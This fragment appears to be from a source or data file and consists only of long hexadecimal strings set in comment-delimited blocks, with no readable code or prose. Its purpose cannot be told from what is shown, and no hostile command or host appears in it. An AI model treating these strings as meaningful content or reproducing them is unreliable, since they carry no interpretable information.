50147a220d971ecf1fad7a3024424cbbe11fb7ccf11c651c2d08c0fe442a5711bc017ebde001268163bb50aca98225e91acff76cca760d087dfa0bdd12f669d333dcd33f9954084dcad01bb47633ba128cf472303d1e82041e592cc0fb5aba3400226a1616e79f795ee424c380ab26c0fb709087a817b5657ca4152fe20d59405208ff74e2ffc443da8a0d7822bcfb73728f654c94510910c34913b658a4bc7e3fcb350092273d69647d529eeb9d84e59f43b272a38cbb45757ed531a3c188d2f017176200bf14aec5eceb13ff43d58facb4e160f8a5cdd5fc5fb79dc126b8a730b898244f6f41cf448d51dcc9fed39d744ad301abb7f66542e8d4269614da0c261fa5582cc0bc444714a0411930116ef5f40adb273a943cae90845e57583c9c2dbd1e0813b313bf7d29a1ed90f4d8e4de5d3b30b9f34eb1ba492c95771f6f8fdd71335bd371fbbad154cab7c2eab8886a58be9978a43bee3b1757f54a493336b80b9d5dd27972f20ef2532548954c2069966e158972cd9c941e282b00aa5055234a05924f093969f380fe26ed46ea82978b0bdff10134dcf5041f881b61cbced18d3481fb9f53dbb7384bb40056e110c84dccacbf84f229c1659458b750ed0d2eac8eb519cf59e617249904c702eb693c0f930074e88e2b85424c4059add1f7d81081670e0d3b559eda1381c0ff28cd89ea4bad913ab3219e6ed8fabda5aaded71f6922ef967b8a4ea7d896f52a55f3ac6ab1aed75ba493cd1e228de6a7b9a0690e51e982f222c4ed0c096254146fc2dac422cea110435a6506bd4f8d1ad66b195277ebd5b1b404a4c37fd47764f9f27ad43ea7a3ab5893d68b612bdea7f625e17926cf375a3f260c14afb84f99333e856b1b5eb03f7d4aac58dcf2d7ac19bb2fc6d737da4e6178d1a517238d32f7242e093b29486733a786b43c5b7bb872275c0a33c92d2972a2b36cf7951bd783d9090a63cd6a8c977a1168b37043a04f8d30ad8e682541e053bdba5cbb2cefdd6f9de87e98adaa14e054ee9229679b9544e8ba9381e76d54ab95210b522953a7e8b982165d9dd1374901d5e5612df6245446c1de90ad1826fc55452fef4b65651a0ff1b9f7f6f6f05dd6a64439b76c2a1761d59da697b988288931fcca63eaf5998a0a2d2c67fcbd1e053eaf3d277ee75bc9fdb2ea06c790f82e3281bac65901ea0c900c1343dd300225935d7b1efc0a6e389f15429d7f0cc459cbfb1e8425a6f51a128636af366846f8834ceacfb8096603790cc7536ae20679d4cac0430616239808586807b362fce0e6b9c7e9f672a4990e5c78a5c3244ee4d02beeab03e55712c4c7f4f83525e6d3113653a2f303bfa1def62af63ed3f73128e74ef4fcef99ef763e85c74f5099e4984a901ce0ad02a5bb13da2033b255eef367185d3d7fd533a78cb226df3fa2a11b78e45d321fa078346d0c5e011bc7182ee762fdad8cb7d25ffed72f35ec572691ea15785058f48e7a9999021577b89fc974be979b4325e6eb09734c9b796bb9f66572ecd60184217fb3d2b43b06384ad456072400aec24ca9aea718e861ca644ec18edc9497767f9c4673350f28cbe905fb657be11d8c39c6026a0aa7b4fcc8a41094c0a4e29284cc8b116507ddfd4d13a2886b86adf657345259ae78091d8d5c6e8b48c3cd460a275fa22aaf4cb14548110ba22c7edfc8697001cc05f78579b9505d81a79b96bbed15600a7d02eccf5a1f0aecc29c53996f89f775625ec384628c361cd1da05b67bc410cc2f910c9df9e067869bc84fbab6d54d225537b3b403ca9f8ce7f5b91e0ef493de62dd5c49eb04bb7cb8c5b672055250e6f4ede31ceed6aa56cc85723d9174ab225206b6f62554eaad7c7f12b14672e8de254d35de0db633f601fa38960ca30ddd16a2e389b4dc267e1ba727c5886a11059a7d0dca156cdbc5ef362ba4acc5f33a12ba81039f7404e447e9f9fd7ff0ed9c900a141eec36643dfdf2b5cb3e3a3476627587371a18166351280e1172861f3d113455979a1f7ca3ebba68774a664b8a51f8cf413809434eb14173d0c4135b1d5882fb52b8a70747f4876684e3eef65a4948e5ded7b597b29fb7f34c164955c003e959a455ec41bc3a41ed4f3bc7ba172943c5749cacbc46fd7835b3a44fe9b9b0881979f680f17ec1024254e95ad9c6331b986221e16c99b36b7479702f0f31d68fa67819aa*/
/*9509dba5f6c42fa065e32d16f64dd1a6e5eccc76243d4cbf790dd2503ef200ef8ddca219f0d9743d13244717de5def3b3eaafdfc70befe088f58c385de97bf47b9cdc100420225b323fca34529a2a51fc9718b71129d9380e9cf3bbb2a83c028344d6cdfcb4c9e233ee197585297bc5153758c1daa1c0504cf3a6b2155b485eeb815c784473c5eda20e0cb1debe25431e57857352befa1c4edbd03611270fd53ffe3f995a49f376518bd19200c608238197a5e4273b09482457cc95ed16d875d76dbd4ca5ce747c77e9ccf16ece86faa765e613993b17d0078afed1c5f9c6372e775f7515c8de8bc9858529ec63de579f86630f75768bfb03ebed0a775c51349d20a68abcc255916788684ed57ffad69276fdc351a007fbb0358dd834e891adb8791d0c077796cd826bd1d6bbc3c39f663e3ee352de699229c969d37cc0739af75a9b25d03f9cda49d9706d63f4f6c239ca265204fb922fd923ff1d1bc53a9faaefc7593b53d8a230fd36296dba1e003a6314145e08f37abf4ceb321c45338214801a4e0a00af4c5c69941ed87d8671ef56f95d2ad3cb400e3d544b4f075a825fdb86eaa0a0833910f7c3780383d7abd2107185b6bc2c75862c49bdd1a509c25eb3c1b64526fe2461a1ccaa62376d7e9bec5fb7cc383e6429bf67fb4f1f5eb5134129b9f79ab84d294f3ae230f03f924c93fcc2459c2c6afa35e324727136f940857d9d64defe1f0d7487dd6ab6a13cf18c797d1af3cb3b4d088b36055307d589a422035dc1f539416a1f686b8df56e473c852d863b525dc9c70ebaff54b339ea1248a66b51046bfb65c0b8ff85d13947c22cc598339d1cf56035d03963eeb6992e06e58228c087dbc51bd8813bd3fb21bc866bb0d2572d9204ee380d2fdc79a83bf294a98867574b94a04be9b5afa3aa828f25fe572efc3fb18af83ce990f7755247c1576efda03f8b57c6ff9d0b7aa0355f336f46d3e55ac23e7a472fca22d3a68449c068b256edc6bb8d9f00b557e75669289fb7d26ce603010b8db2ce1abcfca52db13498f97820adfb40ba0deb4c6e3a0c7438b57e71dc579877bf6898bbddedf5ca549efc838d502e390f80207f381aa3d6ebbe426fc00d9add73ec44ce5fdb60969ec147c37ca054f7f67aa12c57fea0ac912b828202ed53f842da92ab563863395ba1d125ef2648b0614d81c94434b44ca6ca2924fa1116f33e7f29744489a6ee6b83cfcc46b37a2253481d8e2bb64ba3b652d498a7508ea44ee3c2d57a775cff674969f1c32dd559f72410e7245a699389aa69a0314b653cad47198addecd1e6e641f0071c54f1cd59d68e8d0db247e9c16cf9dbb020a30ab0a3deffeb28e8f43d7aba8e00d7e28a18555ddb33029c134437b12a2a1b2d65a559afdfb0e4dd87ef3b3b2e31a53a265e856246bd2f8520e0513ebc821ec189d933fe930331a2955a75144117054bd1a4352cb0d706fcf3cf70cdb1899f8d70b4c5dc761be4c2fae6006b4d2b1210ad9f18c264d2d4014789c13a8821a084e4ccb15b5d962d635d328e4968ab885128cfdd1bbaae3ce60d3d4fcebc9f8be3c66a3da49291928551b9675ead12125937ff77fc951953e070b6e0a37c5df321f2de3cfbb024792845cc5f21366cd9ebea68f9d61a4c5ad994c50d4bae9e76952af3411e8d3069c178b419588f42ffbb062c130a1c4f4e1bf9afc132019294cca4f8ee9888ea0e1dc898ffab35bb4d12c46a6dc07247538516c8324b6a8f2ed60eb50d3f07b95a64799d04f882eb0d08340113c2b105a3c9b17efa5e33bfeafdb334c2af2f383e8933d7ddb42d7d75edda5dd30ec207d95dd431da69408b91996811537def6a3fd600933f9cc24982134ee548793514bde83578d34a8a7d5e038203ec2a6bce52a7b8d53728c99a089ff2051ad80c3901c318ae557c601414141918f8382ad781201dfc48d2722be4212435a7e09395391d14c9306c334394f6551bee63edf3f6edb1d0499a7f237507dff8898f331d708c6bbaf8df01c102b1413fbb6c6283aa6bdf9e6b6e0743db96c680022c6fd51c1fe6dfedd7707e7d414f77995186ee8c6305949e27d6c87c2390b49cb29069916c96658fba3648db669fad7b882b12c54bfd823fc822940d4d49b7b63c2bb57bf4154469daa1465283fed616c7e505ac01aed43551db96ca58975b8eb892b8978bdf87b0da1b1bc4a0a7725c2dae67fa015ff039dc9fbd6e668be64d6cec883d7141f7cf4e2e05f72179d736eae87b5ac7b760c6be5b2260722f397e8e5c5467f01171983078b48381638e6447d2a030b6f305f9ee7d3e384a9afab29795ab93d6fef420050951700278ee0b0fbd98626c0a5eb8e7663829d747ec9e26f60158a5e214ff701b9b77e211e1cc0302fb534a94d834b00ddd0529ddf8af05bab8719b65bfd3f05c69ac9fffeb66040421b8f92ac5906cf2747049b40d3fcd87affa6064b82f01401a78cf3e113dc506b2c7103ed9af5c96fe28289d9cae94bdf71d38a04673ea8a047d618b61c761affe5e4c7dd7869f3b6c6d581fb7416efad716e4da9c3dda89a501a0c12e6fb026ee02aa193648ddcbba7748ff74199378b4e395362fa88e6119ed9edff42cdba73d090d93f3852466b599189c62b753a1bcf021a7b1b0c531657b2c961bf3cf8647e7102799f76ea5c4032fda29b3f26d447e60f950500f5668608fc37015e0c6e563cf2eda3a924ade713492117cf2fab196b932da63eebf7b810ef80df6c4489508d3065d21516ddd708acadc195ad3685fe5eb257efdb2ead1c910f77729e888d0543c27f07186271f8d524fbf2bb*/
/*974305001c994315ea781b60eb01e0211271c18b5fbf333d88b7a81c69ade3af293ce7ef9e2b52a74d180f10feb4dfeaf6bb617032caadae34b38e649d33ef50e67ce99f8abc0ada9ac3ea1c39631543c2942c6b872eaf7116682c330d5124d9dedc0696d76dd3fe9bd87cae77322252e0a63116b4f7d152b0ab79e345fd7b2dbc962ea06e44b0553b3fc6d0f3a05157559f40c6538afa98e5a61cdefcac186146e05a186ea5f1986cd5c3da1c53c565ee784bfe8fa3b72c89f97f3c5112e840e9df059593fbf03c2e85ce4f52d75b1afa54cc0acbe34bb79b7fa65b6262531bf14ce563102609d55f78cc75cdcf06589e3c6fad3860afddff7a74c37822885d1acc93031994a18dbbc1ad5bb441229a30c9febfff5b85e649d231a655d5d107bfb06bf40ad3904515828f99c7c6f399be2df203fab3a47c4a4852a672fae0f8f3de36626e4686712de63f9be83da00b736b6cd329300d0eedd07c02538737ae12a44a739481e15f1b5ffb1469782c43b206741f4e0d5865ce5c124889ddd41b1b66370760e77c72ad6271d9009221379e3a61ac2a8d4bcaefa26746ec0c6d116abbd1accbdcc348d27cd7da8b5255b2edc980d0c352417c092011505437ec350a21825dce0d86366f577d87f822d70106e00e174518434d2c7e799ef73e00596c3da983910e98e24b7065fa344a4e48ad7d521d85aeed28f444f8a631320f13fa7bfd78945b5e9037f72c993011b2dbde8d5dde844df383d61e0732cc1abcdcfe48fe27ab362861d063a4e74c2e28fbbbd9781ae97d7377a7b654f6640519a612d4144406231b4b7e6207f86790e8b23ee324ebb34d6a12326554cf333551df5bbc67a4d747a9a98f77f95e78f5f277e9eeccab522e56130ab28bdaa6cdef4c1f9982440d3aa49c704c1a92d4ac10e062747b028cfeeecc7fd6a68d71e1d18bc76205d15578a59285abe4b83bcb340bb2453d2264742bea385d28de8ceb54856234e9144be901f0d9a2d5a301ada10d40ef84fec872548ea8326a3193a58d4779e34a700cddf89a9a0b0fa4ba809d4599f662e21937c93e5dd99bf512b189713d7b42c0754cf775d5efc06748e12483e2cd6ae1fcfbc173321c551ab438a9b72eb9fc267785a660438d33fb2eba078f7307f6a21e4e63e35089904bf23527fc2eb6d9ca2e1c9d6d06165a7b0574d32ef09174181f1044cfc5d3bc3f51f1b75acbaff6c8530ad1f4afea1cdb681f9171a7c2aa0e03d800fd62a6de36208ecbd97ce4f93fba1c58bb66f18aae76e912c820ee5455d369a76bbb79e7650f8fede2dd91726ad817ebdda944f06930903ab293fb3cda15e45706b6f6b2aa765adca47125f213610f2a370bb33e986ab45e3a2cb09263962c6748dbfb8d89dae5596f39c521d77d6119ee22bac78670132bda596fa8a8c8ff5fa8b9d3d7829f43c03a745332fcb0ec9770d191453839fe6e28eef44fb241ee413c0a84dc4b9b821abc08fd6b9ce2b58b87f4877ea6c37b3053033991adeb8a6cc2b56adc600870bbf6d1555dd49ba1945b21d4c1d6b1e719e4e0326137b3f404db948eee95dae9dc9aba92fad0fa9755e2a9738d54a6d2e5fa1f90f55e10ce8a6393911a9316e01e6bcbd24c63639dc62e3e21656d48c0e1e4823cdce54ea061114b4383423424b85b2c331137d80aeb8f6ef4aacefa27b5eb26f4f715afe5125007e378186f0bc4cd2fabb6c0d16532829f59494b6d7df36587a4709cc9ca17a5716ed7370afcf934af67f795c149610312f7da07c39d6c6d7ebe5621af879fa70775f8e3dae7b50650a0211d281cb83f8a2d9e2d54316795fd53be736d182e73890e721f60a82505d3b728c24bdfd4a08cae97e4160c05ea4d9f78d276976fe30b36624cba40402dceca2dd1e76e32135c960302b2829cb42cf083f1a137b74a01100e5545e70780f31901bdb1ffae845a25ffdcc8b2bc06ac47241f34beb7a34fb08797dfb31e94d8fdc5e8fd34240b1300fef537d4c42bf0feb7c2f05d6fdd43675d511fdb3d3dd43e4864b952e60fab4aa9b0acd73eab596008ea05284826ba72dc029189f5073d59631d9a3618bfb25372665f6f077d7605ec799207771ad0c0c8d84f20ce83d9ed8c714861eae45940a8af9ce5b40cca0af9964b551fed52d8ddef4ab926155310d286ddefd875b98ae9d2fed9782afc44aa8b869462f3c031ccb9afe319a06d2e081bf3476eacaf9357ab24cb423a228cfb978be01dd564dd889c22faf31297a4b3d79fa8034001b97091b5fcbe739bbaa457d207ed451b6af742ff03d1bdaf7287e6b20a61352903f7fad434dab663479dad744817d2099a8904aee1d5467b4068565bfb96f74c73cc261a8231dbbc590c35e1d23bfeef3d6996f05f3b7ccb0be5990558a8cce06a76edf6a0d77decfbabb4950d23947942bf4090784df92955bd0f4ccf348183d771553d7ad75e6818a9a66b41a80ff9e065263324d0315404bb12c863e90cd68976b8bb573ffd7cea11761591f16be4dfb75cbef6edb541a63e55f9952041890bcf832d3d36d28d77691cd0c9c8505fbf99bb3ec8f94c29749c8c66398a1eb0aeddb0a807ebc3b05f9ebe0323c98b0b6855d57d0b455ea13dbd7f7741052e135eee579330f0a2f11d5971a5f0781edffc3d607dc6bd166b41056240f450574a07b0d3a0df950d38d35b735282f5669b00b8044767465215c5ded30d60a514b05362e023d7b98870c93152d8960db7bbd7f63518e9a04d74a0e82db8c20ed7e59edaa309e90c8f13f1baffd275856dbe2f4d2576cf78d4cde461133c6a48603d86f67923c3a73c*/
/*276170d7ff8abd0ea9465afef42ed8f47df34d70b776739069dc96990e524be938bef59646e781d38eeb4d5522dd86a94174e4b83d6dc4020e35e216d54071889356494e636441eb620c7cf60c70c225a6581ab4bfd3e0036d31e89f1d48f6f2f5f108d1f98f934a691b4329cc39132c7bbf9838d7eed2b76a8663f42a0dcc3336b5fd06c620dc1367997a6014af58b88663205761ba1cab74aff45e8e871162ecf525a0a6938660fe1677768f97907f67b1bcd7d726d4d57aabdeb64ba34475605b0c48a591ea06625962591c7f80d17579461c6231194666e98f09cb57b0c381d12d13e40f5edcae0fec83869a91dd637a10fa318af2efcf770ec7c05777f52c05fcd05257d739402d938f85e5c6d0115e116a065c1dedf9ddba9868d2a30864dd6580b8bfd11a9c2f9e7f06826e2da04a03e2e63f193621154a8f44a254b919ee099781c816f3fca05f68126b028c9a68cd75e3e527d8839cd82c0bb94327c8e3f5ded1971112d36c2f4526266c82b4bd78393585ca6f59b60fa619af5b901313c1a5cdaac96f6c0ed6be6ee84b05b2167ddf080241885081f419d36366ddaff18a3b1490145d33d1ad34a82e42f19e79da4112cefdce11f9d1e4f808716c8d6408774ee016c1d803a5d31a2d0d5fc9d0e04c756e169e3518cdf42ae97526223f9eafbc9ab3e40433f575fd8fdcf3b03f4d2c4aa2c7c0d1a42d4df0ddf2473955f91865f875a9646db1dfd09cc5ab6ce8925e7ee8d383aa90cb7de5029d36e44b6e727f2cd1b4aa30372dd2661a6916c267447cf509525cce02b2ccf0cc8aca893d1c5f2fef92d05a33181b7187c70e7ead6857a9f4742f3581f9fd68bceea8874734fd9c1f797850e2dfbcb8822a18141aa5f0913798fc15dbf6fd55bdee0b3cc9002a32194964974d0406589c78fdb59965850ee8ab20edee68913454247af67c310ac4c2491af997f2eb83504152a9f33b4bd803b44fa822f5abaadfbd9e2976d96ee03157ef99ad2d4d392e1e898b7b9fc782a04fc2cbfd32ca308723cec8aacfc92e1b860213c0d66eb453b908085ab476eb90407c1801109556c013031c288d67bb95c936e123e1e23e38ea27d9c434df7cecb30e789f67184a2edc328e8a65fbc80f7436f733accac80bd576c6964724cf0f853c64cab7635ca57cc3ad0ec4aa99d37182481bf4e1aab17016ae1d3f22f4c6b41a566079ca8d87541a98b315ff7dbca769d482dad0de9c992bff630acb355d16d2731161952cfc2ac6613d8de5d1a6080dfe3f15278ea4b8202dfba8c9d03524ce65c0c2caeb6ad234fa66c71b8ad42f39b112015cc00bcc02fb8719a5d9b6528b7809e37f86830575b62ce4a30f728ce30b5c65aad9b3dc44c5c36af09a0589e29319905c98be14c86e9db533ccad9ce44b4dddbc727102539178323a2a0f151935c09b786fb6733917bd3f9e3c8a503ec42641d6b095eb348c43dd61ac6b25b5add3a8b80170b746e1d7b887cabc119b1d93725dd2f64e6554b9d94d1657c4442809a7e5b5ed1fbdd23e8f421ee38625c709020b5b576234e08c769a2b95a8677c13c32b2d6fe67b91f6cd69f93ab162cdb758d00dbf09517444b02bc155b1c436dc50704bb34e052d4174ca9134d80125623cfe5eb59e6bdfb6b54af51b6404338dd8745b1ccefff239709f407985567c52687004597481e81e2d84133c5d03256b7d0309b3653589b8d81d84e92efca67186aac5c8d0dc86deafc6a54e588c05e96282d28be0211c628969928b1716a9fc1dc64d3fc65e3962501c40d250456b10587fa92bcc527e769a9f3967689aa57096f1315c2e4fd94a489cf9189b3e8cc7717add85abc6e0d28d7f4bb75491c6106f543ac2282450822fe866d11ad5617780c6507db77d4dfd59e2ffd7858e5bb2726b034610b2bca3b3c14c0483f192f4331ba1805a4aa3e649a3c1b0f7d46480c4919d3208801b6f87c1d7f8a0b48a97f342e47d9b8b8932a23e9d6e8aa7a9cad5991ddb2e29fe742fa3ba3901483763e05263409addf36568ab69db7f0fe2eecd0f45a2b85209fd5f1633e713ab9ba122334d57b4b892e062b42a2b49b838f78c284a1d8b42f2b15519198ef9846e3588f17bbbd8fd81f4c01509f46b8746d5ebbe706a9ab4446fd00c00a6d83329453a01938f772c18dceeefe1d4a18870e42d219c2a850bc690d53d22192a7c3afb65c9e46527d98e04df46280625d457a6130f63ffe639f16e5124a49f66ed9faab4883b13e642d918d246313a862bc7919a739a8982f79289562b6ed66caf97c0c6800d51143b4a95b50cd92483159a450aaaf612256fc3bbd57bd2addd2d288cde6daafb2f4bd9de6a2397bd90cbd40eca0144d5f7a498cfc96f90c59913d140259698083acc0f15593f0bee2104d1064c487de72d96c61fc2096df59631d94db7fe3d6e48c39999b8913b09a364fbf680ecaebd27622efc839c29f620b08759975d5a3ef8ec9192a7230d812828840ee0284fdf64283f99fdc5bfc8c4f2207e7169c5d4db25b6597ef37fc1a5fab703ec94dec3a6561082e00bb7c15e1f7dcff14a586a2766d699fd7b5838232f0ed35fc76b89a9c7c33522cc4416391c56747bd49960aedca01a966a484463eed23e413be739bce947f2de09a29bedcff884ab65aa6f74e52f9229809d232ebaf1b0995dbf0376e100bfcd761500488a6ba4c60b009d6a3673bc21d3decc157bb3e7de1963a8515e10c4b43a85bcef65ba2f7defe00aa83490167d7a4d774a52740f984a37db8d4d62ecb80118c03f6269f6f4565e52cd497d503aa19adef8b193dd4ba5791411*/
/*bee1284806197357f53c14551450394cedc13c5c490a7837518f0beec00a2e4b7a57c02e3dfafa9f7627270cb2169996eb4c7d59a8931b8972df31a53cfc095d8b92d0f80cc10e95d271765323c94e0914e8d55ea1aa47cdb38975f7f28e81f9c576f0acdb333645d58830849e783d0a227948143193ced390fde5ec7a46f914266fdbf4096f63dd5699d2e5689c5042ffb6c4261171b0cb17dbda984e41d2b8ab4337deb8de36b86d89d684020897f519b1b67b0366486d04ed75c0c05080973f0a104ba69f4aa7efa284dd474263ba4cb4028e5362b524e6f50089d707756a401dff3099c18bf29a02a89641a23d1fd26edb2c7b07fdd6bf64afe165ee7a1d83be1440d62e7f4a6033d9875ae61e85ce1067450b48bb46fe506dd27fb9ec34f2d2e594e4ca9234adbf78f9e9b48b986da931e96c30f4a825ff2a8fd1387d28e7b7f9d29dc8cfe1c0056925fa91ec9400a8d247ee7c95e19b2a67e5fe86a4769a6a69b217decac09c710fdf88dc540cda6593025f0fa2111314da9e10130b2b24156705a3c626d0773f201c6a6bd5814f01630a6c67d6837a0cbe3f132cb322ee7d6b8d00902ce15bf9252686eef92f258989f82a85e4748838481d135c5962550a946326c77e4d22226517420aa6ff4770284a9fcd75ef9de1300b060c5f39cfd018fc69f28a84efcda62859937a51178a14008c9a4cb7a6066380f546067e31939da0c42f6adfd76b35332fea9651c1cb1a6e41e7b72970f69ceb86f8f5d5a6cdf79ae281e68400218efe1c9629b04a8a2cf92f4a79dd1750cb76d7225888a09141012bf65ce7dd406b7e5bd6a0257dcc3be6cb530974348293e8009bf4dc06345d452c360fd08c5b83357ae1741b1c50a4fa8c7e2f6045bee5f2f8fa93d1645f480276f7f19cf8fc7330a2e36cb9d616b701b18ff4899a769bb89be5bea50cefb28754946b6d8cb6bbdfb3082cb4d970739c15226baece611c7363a883a716493d36f9362c1630014bba82b53ceddd794333815da00531bd9179406d4d343bf9c9634f0da824900cc3f720ec5031984950e41295a9798402bbec5524bba3e08dbc9b30da45eb75586d4808821e3adf154d8e729967f58ae978157f5ad9e20fc5e3d7fd5e1ced907d25c5cd9aed971c3b0d4c677818d7e4a1594dc7c15f0f2a8886c5b22eaec68ed4946b42fcd101393b0e89fd68c0596817ace2cc3d1caa86c2502cd264ea9e3f786c64c866c4d3046d500f1338df8fb0177bcc9e01575180acbc048aee0649cccc956bd87e21d411e213ea820f582c5109eb176a4fc799be22af63af9677384bff1d59eb9ad1e31b2486c5ebce6f6aaede7b8c1952caae2cbd064bced35fb25687c20cb1cd82de4910ac161492c08382a1fec1a2a4003acc8aa41bb5bf347d19542efb5806296beb8f87d4dd0047a477f612be7bec448a4eb1b54b7f0795d56b29f9f4d93dfee78e149b4c3c47d0e09e1bd0bcd828196acf97496408384cb9f07cbab009682355c5853c87ba786f5a5ad40bf48089ebaebe53e3b71091b0504163d8bbe42fb30e6d13441c51f8b78cdfcb216d499584bb5b507761342546fad23cca55a278ad5b9f08df7757a518b6c97832ea46c437ccad3922472b596a8228b14b03b7a46419efb93b283edbf2b7e6ca1024b3949bf32db4a0179e94fbe4727d4be6b03fa7a06d1f49bf3aae89b6bd704f7e21903dc178fc435f3888ab6b230478ed7d9577c4e5817d6879a58aefb29898f40394ca2cac794e59b621bf3e9c5ed53d7feb5f10b319c7ac0b19b81bebc45863dda7ceeb94d3f481b8596fa6cb7619437ca4658d12b95418569b358a9a6598a908c60d99fc3650e4bd453c29c4c061702e9bb7eac8e4757c8d44919019c14c1640fb0670c74b3088fd47063e825db75e62d578aa55fc619250598d2e88634887ccf3f64fa32848adffbc4314b420c0daca71b349770cd6f6b85c743186d93dcea9c11d4585b6db114a6222b2d1a78638ef1bb2cc69755f60d2b84353661e1ce341def0df30143be3328f28ea25e77937bf052a6c9002f75076e7cc8a0eeb20ae0749a45549f12900852c052c7d511265deecc170aa3c237fbd5e487d1841381453db5955dfb42c12e609b9f31333165350f35336a69af92e5e7bb23ee0dfb688756c6aef14936d9576dcd0b1ca1a9d54083ca00d46c1ed32c38c34abd15761f05691009d163d1f06ffacd675adf1323387860e7979276f9468d4976d4f4dd99f32f1a2c4fd44fd514a346eaa0dab22216b5ff319f30d20d4da1aab223ce3fab7b3cf92c4e8136d742de344648cd6e7987c4c4d6fbecdad34235a27c8879142a18e1107a801a62c800f8f7fcb0eb2fdf310d00c178cb9880525d59b587290e5a8dbf41c5fa4f3f6c5eb20228c4fe2d060f4ee627d862ea1896b05197666ad84064f714e150267717ff9c6f2e5fc4d8cadf68fdcb9e24d121c3c1000ac5529131c9a88c9a3800fd03dd421c18a1b22fb186bce4c2c568a3bd34a1c64bfca747fd7c06bf8d34b06b65b286ac1ee29b1ba8a57f6fe6be529fe0495bd4a88d37a5d012b3410f2cb9b32e0cb57625ceeb8eb4410148e110658653e6e33f4569c47c9314a57200de4345dc483554ef8cf25d2e569fa1b7b2cf6f545963fa98878fea463b207f7a2f8fda34b6efa04c2486bb937c06a283c3d909369131a88245efffb299ad4a6784fa375cbc53b3ec375404186a722754662f6712d63859b94326e69c5404ea5ed79f1fe62fbd0334e44fa7282cffafc5edb220e4a18138c624aa1b73e46dbcba3406bfa72a3e9570eaf626475e3cf8e74*/
/*be275fb2fcb670e983cfdcebd44efa2cac579d67b4680b3fb8a1a332ce01bf0fdddea40c948f80c8e508eb678777314df18ffde0406cf4daff39050bf8b0845cf1fd21d90b543d4fa3f32efc6dbd33b23b629b5e6b8dad5717eccad6ef72dd46294fa5c1bfe3258f66c1e8f29eab1be2b2fd52ef6ceacebcd76032a7285a8595c46a20ea164b2736f06649e7097746521b1b3eff3cc6ffcca16acd742f01ea8a15953ee416bd9d4696078e05beb2b4de5d1bc90244088667bd0c1fe0da40ec6f83d08287f4d0936df6af3c43016e01a70a265dbcbed36e676deefc843da44f050a43adb5b3e802ffa3cee4d6e1e80f0e8f152b7a2084d1d510f03e46d958f10308516a09409a8a1bd73bd285881a64ef7b9f4fb673a0273b94f697fb2e0c28842bfcf536cf4c823e5ae3cb9a3ea36f9d6718aba8b7b7c4226a1d296ac71c406a9f7674dbf4a3934a785fa2ae06eb11f49547104da4c73cebc9bf4c504e46d4468eb4231f875e51d1c4388db551312f60255c6d55c8a13ff2f00f572ca53fd69402bf814ff191f9e5c9d82a3325769a707964b7bc03c50f246a83903816c3c4fc9034bbc17cd9ccdd6d9f395209f79ce3f5b89951d62db87daac91114095a8daf663bb4c02ab8e75d7b85841079cfac3b4b908c7f376499ba5b4e945505e7d3fc839a274170ded3a4462105623dcb8fa97b1fe27486d5c6758881b5058bc42a8ce21b07c3c4b77573d139b3a0a103ec6aff91d3436b77690bdce3b3f6da3c0b49a78d513e44d49210d71b4594722175829addf227141af47255a8f113e49732df78831470d8cd8bcb78fe5c4763072239195ed453ceaf950938236cb93db6aeb899d6b5ea0f334d16947d7f5fd6e5fb3c35b6e65098b52fa0ad9ebeffa3aecc4ea5d52228b506caa704df6a672414dc8fd6fceb98c67d2d31c3add81a0874d7f7e46c2a47152b60a0a83e80ff82a3b5106a37da752c48674237bbe6b2ca73ff45c8e3998a7be6c11684f63fb38763f2951ab2e45ec136d6fea2133ce528f173beb407b5acf1f109bbef0372a0978108942bb08a5d38ae41db95d7db00d5d1b7d65ce3c43e408937124943a2a6d928becb5fd5babe6e8dec6499a88b83463abeed95be5a3caaed0325f2b6b1ffa8b2881cc6068d3da27956439dead4854cb8c160193dc0078fe6d69ac8de4b63c6d2b3da354420a05075d05efcd6e77f27fc82503ad0424d9453d5fe58dfdc06acd7b85f2503034c4b66bcfeccaa678ee4564dadbad57f28ab8bc20727b51f029b99402f123a1d77f48ec50858453997535d14bc9a4ec3c4a5747d5212bb2972dbe2979d5d0a4c5cd6841652a952d5221a54b9b7d5dfdbd98af5c6f7d6832fdaae1aaa88a53ec13048f35b2229f1ae2070e5e57403230d29aab6f9feae51cd0fecd831cc259031038587934ef134cdfcbdfad3be26cdf65c90ddfcb718052582e09c74d76593505bcd7fef0215bab179c722a3a9ac29638494e387f5572891a8f9bee4efa7a7bfa55662a6e0f2a34d0819c2e9025ddc51613cbfa2cb2510abe0bcf4b31c6a7ee13f0cb044a9172ac28a160c3eeb4f15337757434b0ba39fe40bb67eb6a9eaa6deda441cc041c1dd1b13c464689dd3728bdedc4709300d99f38b93e332dc0804ab5c73cfeb8b01cef7b2abe39908aefe4ab72878da6ff2d5baf1fa84cb3e275dd514b627d1ef6b9fe937750b57549b8d2fbd7e1604644d7444e745e55e2e7427a50a3745ce4242b988976d8dad89406c468a14200365caa555aac88e7e9cec6716a7f862ec4454ddb9b8fa8bab24d09bd20ae3a762d2d5e342eeb617389e74c679c0079e4fe8f197ec50d87bce7ef8d034b1507b64b0efffd7ea7d2e3fce1df6b4a0386791b8806d7c0807d4d2ef167942da07ccfb7958a4d3c0d10bde0d887632560160cba3de342da5656cfc7aab7342118a8ed9dba0b431625fa978d8ba1f91d50ca8154c93cdff87268335571dd83f43f29aaee746e7ab4957a818579971b1e81417ff795c31ac3d6c83d8d736533d93e32a6e4b462bbf020ac5658c0c394adb3beed37b1c960408dfc714a01a32bc4c5b99a65b612a81e32ceb2051a1edc4f0b42a3b93068d238b53dc53fb12dbdad5dbf151df41f9f27804418df737f47959365650348ed71319f065e429e81561c259d34b0a24adf8ace0a49ca9a235c39a241b9310b30d3362253bbb66f97e14cdd8676f2fe45451ab2e8e308ea0f0912b54a4b63575c694a715f1f700fe8eec0c2fe6ad023a7a8d2271480b036b34cc5852d88f7fe6574c1540e253c343b74c6a006bf0c44f6068b64578b684fec5e03348ee6ddb6e38db9dc4a935aca8ee89560e92a3c67cfe0ce23e857010bfc6c1334499002ca23e933bce055b9b028840b229793e1779f46b25ba39156a4ce6e54592093364d0eadba1ae4f1ccca4d1f4185d96dfb631f06d560b6daf4a1d6c34466e9e5de51cb42e665d62a879be396174ca93641a2d2e2813082e60157b11c66901b25cf9222c1affc5f66798a03483416981d47da6d1c3b91587a34b5a063a715975ba360c4b8309444b4de5e0ae68439c55305ddac17af9631e38af15e008963c8512217c065cec3ec9ad14d671556681449dcbcd65d8aec93b9b63136953400809384b6f704f9912a9bc52cfa6e911b6f409a1ec234147c89a688103bedf1a5dc5ce28a6273877029e52e2e7b5f390d90f89f3a49612553efd6c42883f4c188fad0a9b9c69244f4c2fa88aed4699545018c9d2c603c9dea58bedb319a482780ecb807b28f864903e